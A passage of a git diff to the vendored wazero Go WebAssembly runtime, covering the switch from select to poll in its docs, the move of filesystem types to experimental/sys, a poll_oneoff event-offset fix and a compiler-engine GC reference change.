trying to +support and test this abstractly. This would still permit multiplexing for CLI +users, and also permit single file polling as exists now. + ### Why doesn't wazero implement the working directory? An early design of wazero's API included a `WithWorkDirFS` which allowed @@ -1270,19 +1399,18 @@ as for regular file descriptors: data is assumed to be present and a success is written back to the result buffer. However, if the reader is detected to read from `os.Stdin`, -a special code path is followed, invoking `platform.Select()`. +a special code path is followed, invoking `sysfs.poll()`. -`platform.Select()` is a wrapper for `select(2)` on POSIX systems, +`sysfs.poll()` is a wrapper for `poll(2)` on POSIX systems, and it is emulated on Windows. -### Select on POSIX +### Poll on POSIX -On POSIX systems,`select(2)` allows to wait for incoming data on a file +On POSIX systems, `poll(2)` allows to wait for incoming data on a file descriptor, and block until either data becomes available or the timeout -expires. It is not surprising that `select(2)` and `poll(2)` have lot in common: -the main difference is how the file descriptor parameters are passed. +expires. -Usage of `platform.Select()` is only reserved for the standard input case, because +Usage of `syfs.poll()` is currently only reserved for standard input, because 1. it is really only necessary to handle interactive input: otherwise, there is no way in Go to peek from Standard Input without actually @@ -1291,11 +1419,11 @@ Usage of `platform.Select()` is only reserved for the standard input case, becau 2. if `Stdin` is connected to a pipe, it is ok in most cases to return with success immediately; -3. `platform.Select()` is currently a blocking call, irrespective of goroutines, +3. `syfs.poll()` is currently a blocking call, irrespective of goroutines, because the underlying syscall is; thus, it is better to limit its usage. So, if the subscription is for `os.Stdin` and the handle is detected -to correspond to an interactive session, then `platform.Select()` will be +to correspond to an interactive session, then `sysfs.poll()` will be invoked with a the `Stdin` handle *and* the timeout. This also means that in this specific case, the timeout is uninterruptible, @@ -1303,35 +1431,46 @@ unless data becomes available on `Stdin` itself. ### Select on Windows -On Windows `platform.Select()` cannot be delegated to a single +On Windows `sysfs.poll()` cannot be delegated to a single syscall, because there is no single syscall to handle sockets, pipes and regular files. Instead, we emulate its behavior for the cases that are currently -of interest. +of interest. - For regular files, we _always_ report them as ready, as [most operating systems do anyway][async-io-windows]. -- For pipes, we iterate on the given `readfds` -and we invoke [`PeekNamedPipe`][peeknamedpipe]. We currently ignore -`writefds` and `exceptfds` for pipes. In particular, -`Stdin`, when present, is set to the `readfds` FdSet. +- For pipes, we invoke [`PeekNamedPipe`][peeknamedpipe] +for each file handle we detect is a pipe open for reading. +We currently ignore pipes open for writing. - Notably, we include also support for sockets using the [WinSock -implementation of `select`][winsock-select], but instead -of relying on the timeout argument of the `select` function, +implementation of `poll`][wsapoll], but instead +of relying on the timeout argument of the `WSAPoll` function, we set a 0-duration timeout so that it behaves like a peek. This way, we can check for regular files all at once, -at the beginning of the function, then we poll pipes and +at the beginning of the function, then we poll pipes and sockets periodically using a cancellable `time.Tick`, which plays nicely with the rest of the Go runtime. +### Impact of blocking + +Because this is a blocking syscall, it will also block the carrier thread of +the goroutine, preventing any means to support context cancellation directly. + +There are ways to obviate this issue. We outline here one idea, that is however +not currently implemented. A common approach to support context cancellation is +to add a signal file descriptor to the set, e.g. the read-end of a pipe or an +eventfd on Linux. When the context is canceled, we may unblock a Select call by +writing to the fd, causing it to return immediately. This however requires to +do a bit of housekeeping to hide the "special" FD from the end-user. + [poll_oneoff]: https://github.com/WebAssembly/wasi-poll#why-is-the-function-called-poll_oneoff [async-io-windows]: https://tinyclouds.org/iocp_links [peeknamedpipe]: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe -[winsock-select]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-select +[wsapoll]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsapoll ## Signed encoding of integer global constant initializers diff --git a/vendor/github.com/tetratelabs/wazero/config.go b/vendor/github.com/tetratelabs/wazero/config.go index 8fcfb5fa2b..70219b055f 100644 --- a/vendor/github.com/tetratelabs/wazero/config.go +++ b/vendor/github.com/tetratelabs/wazero/config.go @@ -11,10 +11,10 @@ import ( "time" "github.com/tetratelabs/wazero/api" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/engine/compiler" "github.com/tetratelabs/wazero/internal/engine/interpreter" "github.com/tetratelabs/wazero/internal/filecache" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/internal/internalapi" "github.com/tetratelabs/wazero/internal/platform" internalsock "github.com/tetratelabs/wazero/internal/sock" @@ -846,7 +846,7 @@ func (c *moduleConfig) toSysContext() (sysCtx *internalsys.Context, err error) { environ = append(environ, result) } - var fs []fsapi.FS + var fs []experimentalsys.FS var guestPaths []string if f, ok := c.fsConfig.(*fsConfig); ok { fs, guestPaths = f.preopens() diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go index aa6eb23d80..23c4be9283 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go @@ -1,51 +1,57 @@ +//go:build !plan9 + package sys import "syscall" -func syscallToErrno(errno syscall.Errno) Errno { +func syscallToErrno(err error) (Errno, bool) { + errno, ok := err.(syscall.Errno) + if !ok { + return 0, false + } switch errno { case 0: - return 0 + return 0, true case syscall.EACCES: - return EACCES + return EACCES, true case syscall.EAGAIN: - return EAGAIN + return EAGAIN, true case syscall.EBADF: - return EBADF + return EBADF, true case syscall.EEXIST: - return EEXIST + return EEXIST, true case syscall.EFAULT: - return EFAULT + return EFAULT, true case syscall.EINTR: - return EINTR + return EINTR, true case syscall.EINVAL: - return EINVAL + return EINVAL, true case syscall.EIO: - return EIO + return EIO, true case syscall.EISDIR: - return EISDIR + return EISDIR, true case syscall.ELOOP: - return ELOOP + return ELOOP, true case syscall.ENAMETOOLONG: - return ENAMETOOLONG + return ENAMETOOLONG, true case syscall.ENOENT: - return ENOENT + return ENOENT, true case syscall.ENOSYS: - return ENOSYS + return ENOSYS, true case syscall.ENOTDIR: - return ENOTDIR + return ENOTDIR, true case syscall.ENOTEMPTY: - return ENOTEMPTY + return ENOTEMPTY, true case syscall.ENOTSOCK: - return ENOTSOCK + return ENOTSOCK, true case syscall.ENOTSUP: - return ENOTSUP + return ENOTSUP, true case syscall.EPERM: - return EPERM + return EPERM, true case syscall.EROFS: - return EROFS + return EROFS, true default: - return EIO + return EIO, true } } diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go index 56c8441d95..8a88ed7658 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go @@ -2,15 +2,12 @@ package sys -import "syscall" - func errorToErrno(err error) Errno { - switch err := err.(type) { - case Errno: - return err - case syscall.Errno: - return syscallToErrno(err) - default: - return EIO + if errno, ok := err.(Errno); ok { + return errno + } + if errno, ok := syscallToErrno(err); ok { + return errno } + return EIO } diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go index 4c512133a4..761a1f9dc2 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go @@ -54,7 +54,8 @@ func errorToErrno(err error) Errno { case _ERROR_NEGATIVE_SEEK, _ERROR_INVALID_NAME: return EINVAL } - return syscallToErrno(err) + errno, _ := syscallToErrno(err) + return errno default: return EIO } diff --git a/vendor/github.com/tetratelabs/wazero/fsconfig.go b/vendor/github.com/tetratelabs/wazero/fsconfig.go index 560da0b37d..c28909e19e 100644 --- a/vendor/github.com/tetratelabs/wazero/fsconfig.go +++ b/vendor/github.com/tetratelabs/wazero/fsconfig.go @@ -3,7 +3,7 @@ package wazero import ( "io/fs" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/sys" "github.com/tetratelabs/wazero/internal/sysfs" ) @@ -135,7 +135,7 @@ type FSConfig interface { type fsConfig struct { // fs are the currently configured filesystems. - fs []fsapi.FS + fs []experimentalsys.FS // guestPaths are the user-supplied names of the filesystems, retained for // error messages and fmt.Stringer. guestPaths []string @@ -152,7 +152,7 @@ func NewFSConfig() FSConfig { // clone makes a deep copy of this module config. func (c *fsConfig) clone() *fsConfig { ret := *c // copy except slice and maps which share a ref - ret.fs = make([]fsapi.FS, 0, len(c.fs)) + ret.fs = make([]experimentalsys.FS, 0, len(c.fs)) ret.fs = append(ret.fs, c.fs...) ret.guestPaths = make([]string, 0, len(c.guestPaths)) ret.guestPaths = append(ret.guestPaths, c.guestPaths...) @@ -165,21 +165,26 @@ func (c *fsConfig) clone() *fsConfig { // WithDirMount implements FSConfig.WithDirMount func (c *fsConfig) WithDirMount(dir, guestPath string) FSConfig { - return c.withMount(sysfs.NewDirFS(dir), guestPath) + return c.WithSysFSMount(sysfs.DirFS(dir), guestPath) } // WithReadOnlyDirMount implements FSConfig.WithReadOnlyDirMount func (c *fsConfig) WithReadOnlyDirMount(dir, guestPath string) FSConfig { - return c.withMount(sysfs.NewReadFS(sysfs.NewDirFS(dir)), guestPath) + return c.WithSysFSMount(&sysfs.ReadFS{FS: sysfs.DirFS(dir)}, guestPath) } // WithFSMount implements FSConfig.WithFSMount func (c *fsConfig) WithFSMount(fs fs.FS, guestPath string) FSConfig { - return c.withMount(sysfs.Adapt(fs), guestPath) + var adapted experimentalsys.FS + if fs != nil { + adapted = &sysfs.AdaptFS{FS: fs} + } + return c.WithSysFSMount(adapted, guestPath) } -func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig { - if _, ok := fs.(fsapi.UnimplementedFS); ok { +// WithSysFSMount implements sysfs.FSConfig +func (c *fsConfig) WithSysFSMount(fs experimentalsys.FS, guestPath string) FSConfig { + if _, ok := fs.(experimentalsys.UnimplementedFS); ok { return c // don't add fake paths. } cleaned := sys.StripPrefixesAndTrailingSlash(guestPath) @@ -187,7 +192,7 @@ func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig { if i, ok := ret.guestPathToFS[cleaned]; ok { ret.fs[i] = fs ret.guestPaths[i] = guestPath - } else { + } else if fs != nil { ret.guestPathToFS[cleaned] = len(ret.fs) ret.fs = append(ret.fs, fs) ret.guestPaths = append(ret.guestPaths, guestPath) @@ -197,12 +202,12 @@ func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig { // preopens returns the possible nil index-correlated preopened filesystems // with guest paths. -func (c *fsConfig) preopens() ([]fsapi.FS, []string) { +func (c *fsConfig) preopens() ([]experimentalsys.FS, []string) { preopenCount := len(c.fs) if preopenCount == 0 { return nil, nil } - fs := make([]fsapi.FS, len(c.fs)) + fs := make([]experimentalsys.FS, len(c.fs)) copy(fs, c.fs) guestPaths := make([]string, len(c.guestPaths)) copy(guestPaths, c.guestPaths) diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go index 033b70cb7d..b80c14d7d5 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/fs.go @@ -12,10 +12,8 @@ import ( "github.com/tetratelabs/wazero/api" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" "github.com/tetratelabs/wazero/internal/sys" - "github.com/tetratelabs/wazero/internal/sysfs" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" sysapi "github.com/tetratelabs/wazero/sys" @@ -415,7 +413,7 @@ func fdFilestatGetFunc(mod api.Module, fd int32, resultBuf uint32) experimentals return writeFilestat(buf, &st, filetype) } -func getExtendedWasiFiletype(file fsapi.File, fm fs.FileMode) (ftype uint8) { +func getExtendedWasiFiletype(file experimentalsys.File, fm fs.FileMode) (ftype uint8) { ftype = getWasiFiletype(fm) if ftype == wasip1.FILETYPE_UNKNOWN { if _, ok := file.(socketapi.TCPSock); ok { @@ -503,50 +501,55 @@ func fdFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) ex return experimentalsys.EBADF } - times, errno := toTimes(atim, mtim, fstFlags) + atim, mtim, errno := toTimes(sys.WalltimeNanos, atim, mtim, fstFlags) if errno != 0 { return errno } // Try to update the file timestamps by file-descriptor. - errno = f.File.Utimens(×) + errno = f.File.Utimens(atim, mtim) // Fall back to path based, despite it being less precise. switch errno { case experimentalsys.EPERM, experimentalsys.ENOSYS: - errno = f.FS.Utimens(f.Name, ×) + errno = f.FS.Utimens(f.Name, atim, mtim) } return errno } -func toTimes(atim, mtime int64, fstFlags uint16) (times [2]syscall.Timespec, errno experimentalsys.Errno) { +func toTimes(walltime func() int64, atim, mtim int64, fstFlags uint16) (int64, int64, experimentalsys.Errno) { // times[0] == atim, times[1] == mtim + var nowTim int64 + // coerce atim into a timespec if set, now := fstFlags&wasip1.FstflagsAtim != 0, fstFlags&wasip1.FstflagsAtimNow != 0; set && now { - errno = experimentalsys.EINVAL - return + return 0, 0, experimentalsys.EINVAL } else if set { - times[0] = syscall.NsecToTimespec(atim) + // atim is already correct } else if now { - times[0].Nsec = sysfs.UTIME_NOW + nowTim = walltime() + atim = nowTim } else { - times[0].Nsec = sysfs.UTIME_OMIT + atim = experimentalsys.UTIME_OMIT } // coerce mtim into a timespec if set, now := fstFlags&wasip1.FstflagsMtim != 0, fstFlags&wasip1.FstflagsMtimNow != 0; set && now { - errno = experimentalsys.EINVAL - return + return 0, 0, experimentalsys.EINVAL } else if set { - times[1] = syscall.NsecToTimespec(mtime) + // mtim is already correct } else if now { - times[1].Nsec = sysfs.UTIME_NOW + if nowTim != 0 { + mtim = nowTim + } else { + mtim = walltime() + } } else { - times[1].Nsec = sysfs.UTIME_OMIT + mtim = experimentalsys.UTIME_OMIT } - return + return atim, mtim, 0 } // fdPread is the WASI function named FdPreadName which reads from a file @@ -745,11 +748,11 @@ var fdRead = newHostFunc( // preader tracks an offset across multiple reads. type preader struct { - f fsapi.File + f experimentalsys.File offset int64 } -// Read implements the same function as documented on fsapi.File. +// Read implements the same function as documented on sys.File. func (w *preader) Read(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // less overhead on zero-length reads. @@ -942,7 +945,7 @@ const largestDirent = int64(math.MaxUint32 - wasip1.DirentSize) // // `bufToWrite` is the amount of memory needed to write direntCount, which // includes up to wasip1.DirentSize of a last truncated entry. -func maxDirents(dirents []fsapi.Dirent, bufLen uint32) (bufToWrite uint32, direntCount int, truncatedLen uint32) { +func maxDirents(dirents []experimentalsys.Dirent, bufLen uint32) (bufToWrite uint32, direntCount int, truncatedLen uint32) { lenRemaining := bufLen for i := range dirents { if lenRemaining == 0 { @@ -991,7 +994,7 @@ func maxDirents(dirents []fsapi.Dirent, bufLen uint32) (bufToWrite uint32, diren // writeDirents writes the directory entries to the buffer, which is pre-sized // based on maxDirents. truncatedEntryLen means the last is written without its // name. -func writeDirents(buf []byte, dirents []fsapi.Dirent, d_next uint64, direntCount int, truncatedLen uint32) { +func writeDirents(buf []byte, dirents []experimentalsys.Dirent, d_next uint64, direntCount int, truncatedLen uint32) { pos := uint32(0) skipNameI := -1 @@ -1233,11 +1236,11 @@ func fdWriteFn(_ context.Context, mod api.Module, params []uint64) experimentals // pwriter tracks an offset across multiple writes. type pwriter struct { - f fsapi.File + f experimentalsys.File offset int64 } -// Write implements the same function as documented on fsapi.File. +// Write implements the same function as documented on sys.File. func (w *pwriter) Write(buf []byte) (n int, errno experimentalsys.Errno) { if len(buf) == 0 { return 0, 0 // less overhead on zero-length writes. @@ -1445,7 +1448,7 @@ func pathFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) sys := mod.(*wasm.ModuleInstance).Sys fsc := sys.FS() - times, errno := toTimes(atim, mtim, fstFlags) + atim, mtim, errno := toTimes(sys.WalltimeNanos, atim, mtim, fstFlags) if errno != 0 { return errno } @@ -1457,14 +1460,14 @@ func pathFilestatSetTimesFn(_ context.Context, mod api.Module, params []uint64) symlinkFollow := flags&wasip1.LOOKUP_SYMLINK_FOLLOW != 0 if symlinkFollow { - return preopen.Utimens(pathName, ×) + return preopen.Utimens(pathName, atim, mtim) } // Otherwise, we need to emulate don't follow by opening the file by path. if f, errno := preopen.OpenFile(pathName, syscall.O_WRONLY, 0); errno != 0 { return errno } else { defer f.Close() - return f.Utimens(×) + return f.Utimens(atim, mtim) } } @@ -1595,7 +1598,7 @@ func pathOpenFn(_ context.Context, mod api.Module, params []uint64) experimental } fileOpenFlags := openFlags(dirflags, oflags, fdflags, rights) - isDir := fileOpenFlags&fsapi.O_DIRECTORY != 0 + isDir := fileOpenFlags&experimentalsys.O_DIRECTORY != 0 if isDir && oflags&wasip1.O_CREAT != 0 { return experimentalsys.EINVAL // use pathCreateDirectory! @@ -1642,7 +1645,7 @@ func pathOpenFn(_ context.Context, mod api.Module, params []uint64) experimental // // See https://github.com/WebAssembly/wasi-libc/blob/659ff414560721b1660a19685110e484a081c3d4/libc-bottom-half/sources/at_fdcwd.c // See https://linux.die.net/man/2/openat -func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (fsapi.FS, string, experimentalsys.Errno) { +func atPath(fsc *sys.FSContext, mem api.Memory, fd int32, p, pathLen uint32) (experimentalsys.FS, string, experimentalsys.Errno) { b, ok := mem.Read(p, pathLen) if !ok { return nil, "", experimentalsys.EFAULT @@ -1696,15 +1699,15 @@ func preopenPath(fsc *sys.FSContext, fd int32) (string, experimentalsys.Errno) { } } -func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags fsapi.Oflag) { +func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags experimentalsys.Oflag) { if dirflags&wasip1.LOOKUP_SYMLINK_FOLLOW == 0 { - openFlags |= fsapi.O_NOFOLLOW + openFlags |= experimentalsys.O_NOFOLLOW } if oflags&wasip1.O_DIRECTORY != 0 { - openFlags |= fsapi.O_DIRECTORY + openFlags |= experimentalsys.O_DIRECTORY return // Early return for directories as the rest of flags doesn't make sense for it. } else if oflags&wasip1.O_EXCL != 0 { - openFlags |= fsapi.O_EXCL + openFlags |= experimentalsys.O_EXCL } // Because we don't implement rights, we partially rely on the open flags // to determine the mode in which the file will be opened. This will create @@ -1713,30 +1716,30 @@ func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags fsapi // which sets O_CREAT but does not give read or write permissions will // successfully create a file when running with wazero, but might get a // permission denied error on other runtimes. - defaultMode := fsapi.O_RDONLY + defaultMode := experimentalsys.O_RDONLY if oflags&wasip1.O_TRUNC != 0 { - openFlags |= fsapi.O_TRUNC - defaultMode = fsapi.O_RDWR + openFlags |= experimentalsys.O_TRUNC + defaultMode = experimentalsys.O_RDWR } if oflags&wasip1.O_CREAT != 0 { - openFlags |= fsapi.O_CREAT - defaultMode = fsapi.O_RDWR + openFlags |= experimentalsys.O_CREAT + defaultMode = experimentalsys.O_RDWR } if fdflags&wasip1.FD_NONBLOCK != 0 { - openFlags |= fsapi.O_NONBLOCK + openFlags |= experimentalsys.O_NONBLOCK } if fdflags&wasip1.FD_APPEND != 0 { - openFlags |= fsapi.O_APPEND - defaultMode = fsapi.O_RDWR + openFlags |= experimentalsys.O_APPEND + defaultMode = experimentalsys.O_RDWR } if fdflags&wasip1.FD_DSYNC != 0 { - openFlags |= fsapi.O_DSYNC + openFlags |= experimentalsys.O_DSYNC } if fdflags&wasip1.FD_RSYNC != 0 { - openFlags |= fsapi.O_RSYNC + openFlags |= experimentalsys.O_RSYNC } if fdflags&wasip1.FD_SYNC != 0 { - openFlags |= fsapi.O_SYNC + openFlags |= experimentalsys.O_SYNC } // Since rights were discontinued in wasi, we only interpret RIGHT_FD_WRITE @@ -1748,11 +1751,11 @@ func openFlags(dirflags, oflags, fdflags uint16, rights uint32) (openFlags fsapi const rw = r | w switch { case (rights & rw) == rw: - openFlags |= fsapi.O_RDWR + openFlags |= experimentalsys.O_RDWR case (rights & w) == w: - openFlags |= fsapi.O_WRONLY + openFlags |= experimentalsys.O_WRONLY case (rights & r) == r: - openFlags |= fsapi.O_RDONLY + openFlags |= experimentalsys.O_RDONLY default: openFlags |= defaultMode } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go index aed08b7bea..d09f30245b 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/poll.go @@ -6,6 +6,7 @@ import ( "github.com/tetratelabs/wazero/api" "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" internalsys "github.com/tetratelabs/wazero/internal/sys" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" @@ -46,7 +47,6 @@ type event struct { eventType byte userData []byte errno wasip1.Errno - outOffset uint32 } func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno { @@ -90,16 +90,16 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno var blockingStdinSubs []*event // The timeout is initialized at max Duration, the loop will find the minimum. var timeout time.Duration = 1<<63 - 1 - // Count of all the clock subscribers that have been already written back to outBuf. - clockEvents := uint32(0) - // Count of all the non-clock subscribers that have been already written back to outBuf. - readySubs := uint32(0) + // Count of all the subscriptions that have been already written back to outBuf. + // nevents*32 returns at all times the offset where the next event should be written: + // this way we ensure that there are no gaps between records. + nevents := uint32(0) // Layout is subscription_u: Union // https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#subscription_u for i := uint32(0); i < nsubscriptions; i++ { inOffset := i * 48 - outOffset := i * 32 + outOffset := nevents * 32 eventType := inBuf[inOffset+8] // +8 past userdata // +8 past userdata +8 contents_offset @@ -110,12 +110,10 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno eventType: eventType, userData: userData, errno: wasip1.ErrnoSuccess, - outOffset: outOffset, } switch eventType { case wasip1.EventTypeClock: // handle later - clockEvents++ newTimeout, err := processClockEvent(argBuf) if err != 0 { return err @@ -125,7 +123,8 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno timeout = newTimeout } // Ack the clock event to the outBuf. - writeEvent(outBuf, evt) + writeEvent(outBuf[outOffset:], evt) + nevents++ case wasip1.EventTypeFdRead: fd := int32(le.Uint32(argBuf)) if fd < 0 { @@ -133,16 +132,15 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno } if file, ok := fsc.LookupFile(fd); !ok { evt.errno = wasip1.ErrnoBadf - writeEvent(outBuf, evt) - readySubs++ - continue - } else if fd == internalsys.FdStdin && !file.File.IsNonblock() { - // if the fd is Stdin, and it is in non-blocking mode, + writeEvent(outBuf[outOffset:], evt) + nevents++ + } else if fd != internalsys.FdStdin && file.File.IsNonblock() { + writeEvent(outBuf[outOffset:], evt) + nevents++ + } else { + // if the fd is Stdin, and it is in blocking mode, // do not ack yet, append to a slice for delayed evaluation. blockingStdinSubs = append(blockingStdinSubs, evt) - } else { - writeEvent(outBuf, evt) - readySubs++ } case wasip1.EventTypeFdWrite: fd := int32(le.Uint32(argBuf)) @@ -154,47 +152,46 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno } else { evt.errno = wasip1.ErrnoBadf } - readySubs++ - writeEvent(outBuf, evt) + nevents++ + writeEvent(outBuf[outOffset:], evt) default: return sys.EINVAL } } - // If there are subscribers with data ready, we have already written them to outBuf, - // and we don't need to wait for the timeout: clear it. - if readySubs != 0 { - timeout = 0 + sysCtx := mod.(*wasm.ModuleInstance).Sys + if nevents == nsubscriptions { + // We already wrote back all the results. We already wrote this number + // earlier to offset `resultNevents`. + // We only need to observe the timeout (nonzero if there are clock subscriptions) + // and return. + if timeout > 0 { + sysCtx.Nanosleep(int64(timeout)) + } + return 0 } // If there are blocking stdin subscribers, check for data with given timeout. - if len(blockingStdinSubs) > 0 { - stdin, ok := fsc.LookupFile(internalsys.FdStdin) - if !ok { - return sys.EBADF - } - // Wait for the timeout to expire, or for some data to become available on Stdin. - stdinReady, errno := stdin.File.PollRead(&timeout) - if errno != 0 { - return errno - } - if stdinReady { - // stdin has data ready to for reading, write back all the events - for i := range blockingStdinSubs { - readySubs++ - evt := blockingStdinSubs[i] - evt.errno = 0 - writeEvent(outBuf, evt) - } + stdin, ok := fsc.LookupFile(internalsys.FdStdin) + if !ok { + return sys.EBADF + } + // Wait for the timeout to expire, or for some data to become available on Stdin. + + if stdinReady, errno := stdin.File.Poll(fsapi.POLLIN, int32(timeout.Milliseconds())); errno != 0 { + return errno + } else if stdinReady { + // stdin has data ready to for reading, write back all the events + for i := range blockingStdinSubs { + evt := blockingStdinSubs[i] + evt.errno = 0 + writeEvent(outBuf[nevents*32:], evt) + nevents++ } - } else { - // No subscribers, just wait for the given timeout. - sysCtx := mod.(*wasm.ModuleInstance).Sys - sysCtx.Nanosleep(int64(timeout)) } - if readySubs != nsubscriptions { - if !mod.Memory().WriteUint32Le(resultNevents, readySubs+clockEvents) { + if nevents != nsubscriptions { + if !mod.Memory().WriteUint32Le(resultNevents, nevents) { return sys.EFAULT } } @@ -234,9 +231,9 @@ func processClockEvent(inBuf []byte) (time.Duration, sys.Errno) { // writeEvent writes the event corresponding to the processed subscription. // https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-event-struct func writeEvent(outBuf []byte, evt *event) { - copy(outBuf[evt.outOffset:], evt.userData) // userdata - outBuf[evt.outOffset+8] = byte(evt.errno) // uint16, but safe as < 255 - outBuf[evt.outOffset+9] = 0 - le.PutUint32(outBuf[evt.outOffset+10:], uint32(evt.eventType)) + copy(outBuf, evt.userData) // userdata + outBuf[8] = byte(evt.errno) // uint16, but safe as < 255 + outBuf[9] = 0 + le.PutUint32(outBuf[10:], uint32(evt.eventType)) // TODO: When FD events are supported, write outOffset+16 } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go index a3c20ad586..756c0d3913 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/sock.go @@ -2,7 +2,6 @@ package wasi_snapshot_preview1 import ( "context" - "syscall" "github.com/tetratelabs/wazero/api" "github.com/tetratelabs/wazero/experimental/sys" @@ -175,11 +174,11 @@ func sockShutdownFn(_ context.Context, mod api.Module, params []uint64) sys.Errn switch how { case wasip1.SD_RD | wasip1.SD_WR: - sysHow = syscall.SHUT_RD | syscall.SHUT_WR + sysHow = socketapi.SHUT_RD | socketapi.SHUT_WR case wasip1.SD_RD: - sysHow = syscall.SHUT_RD + sysHow = socketapi.SHUT_RD case wasip1.SD_WR: - sysHow = syscall.SHUT_WR + sysHow = socketapi.SHUT_WR default: return sys.EINVAL } diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go index a4a220596b..6c52cc4bcd 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go @@ -29,8 +29,10 @@ func main() { } case "sock": // TODO: undefined: net.FileListener + // See https://github.com/tinygo-org/tinygo/pull/2748 case "nonblock": // TODO: undefined: syscall.SetNonblock + // See https://github.com/tinygo-org/tinygo/issues/3840 } } diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go index ca07a716d2..86abce4a51 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go @@ -48,6 +48,10 @@ type ( // as the underlying memory region is accessed by assembly directly by using // codesElement0Address. functions []function + + // Keep a reference to the compiled module to prevent the GC from reclaiming + // it while the code may still be needed. + module *compiledModule } // callEngine holds context per moduleEngine.Call, and shared across all the @@ -130,11 +134,13 @@ type ( // initialFn is the initial function for this call engine. initialFn *function + // Keep a reference to the compiled module to prevent the GC from reclaiming + // it while the code may still be needed. + module *compiledModule + // stackIterator provides a way to iterate over the stack for Listeners. // It is setup and valid only during a call to a Listener hook. stackIterator stackIterator - - ensureTermination bool } // moduleContext holds the per-function call specific module information. @@ -264,12 +270,27 @@ type ( } compiledModule struct { - executable asm.CodeSegment - functions []compiledFunction - source *wasm.Module + // The data that need to be accessed by compiledFunction.parent are + // separated in an embedded field because we use finalizers to manage + // the lifecycle of compiledModule instances and having cyclic pointers + // prevents the Go runtime from calling them, which results in memory + // leaks since the memory mapped code segments cannot be released. + // + // The indirection guarantees that the finalizer set on compiledModule + // instances can run when all references are gone, and the Go GC can + // manage to reclaim the compiledCode when all compiledFunction objects + // referencing it have been freed. + *compiledCode + functions []compiledFunction + ensureTermination bool } + compiledCode struct { + source *wasm.Module + executable asm.CodeSegment + } + // compiledFunction corresponds to a function in 